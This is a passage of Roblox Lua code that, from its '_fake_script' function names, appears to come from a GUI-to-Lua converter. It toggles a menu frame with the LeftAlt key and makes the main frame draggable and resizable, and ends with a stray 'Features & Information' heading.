	UserInputService.InputBegan:connect(function(keyCode)
		if keyCode.keyCode == Enum.KeyCode.LeftAlt then
			if open then
				HH.Visible = true
				open = false
			else
				open = true
				HH.Visible = false
			end
		end
	end)
end
coroutine.wrap(QHASD_fake_script)()
local function EREBEG_fake_script() -- Main.Drag 
	local script = Instance.new('LocalScript', Main)
 
	local dragger = {}; 
	local resizer = {};
 
	do
		local mouse = game:GetService("Players").LocalPlayer:GetMouse();
		local inputService = game:GetService('UserInputService');
		local heartbeat = game:GetService("RunService").Heartbeat;
		function dragger.new(frame)
		    local s, event = pcall(function()
		    	return frame.MouseEnter
		    end)
 
		    if s then
		    	frame.Active = true;
 
		    	event:connect(function()
		    		local input = frame.InputBegan:connect(function(key)
		    			if key.UserInputType == Enum.UserInputType.MouseButton1 then
		    				local objectPosition = Vector2.new(mouse.X - frame.AbsolutePosition.X, mouse.Y - frame.AbsolutePosition.Y);
		    				while heartbeat:wait() and inputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) do
		    					frame:TweenPosition(UDim2.new(0, mouse.X - objectPosition.X + (frame.Size.X.Offset * frame.AnchorPoint.X), 0, mouse.Y - objectPosition.Y + (frame.Size.Y.Offset * frame.AnchorPoint.Y)), 'Out', 'Quad', 0.1, true);
		    				end
		    			end
		    		end)
 
		    		local leave;
		    		leave = frame.MouseLeave:connect(function()
		    			input:disconnect();
		    			leave:disconnect();
		    		end)
		    	end)
		    end
		end
 
		function resizer.new(p, s)
			p:GetPropertyChangedSignal('AbsoluteSize'):connect(function()
				s.Size = UDim2.new(s.Size.X.Scale, s.Size.X.Offset, s.Size.Y.Scale, p.AbsoluteSize.Y);
			end)
		end
	end
	script.Parent.Active = true
	script.Parent.Draggable = true
end

Features & Information

тест

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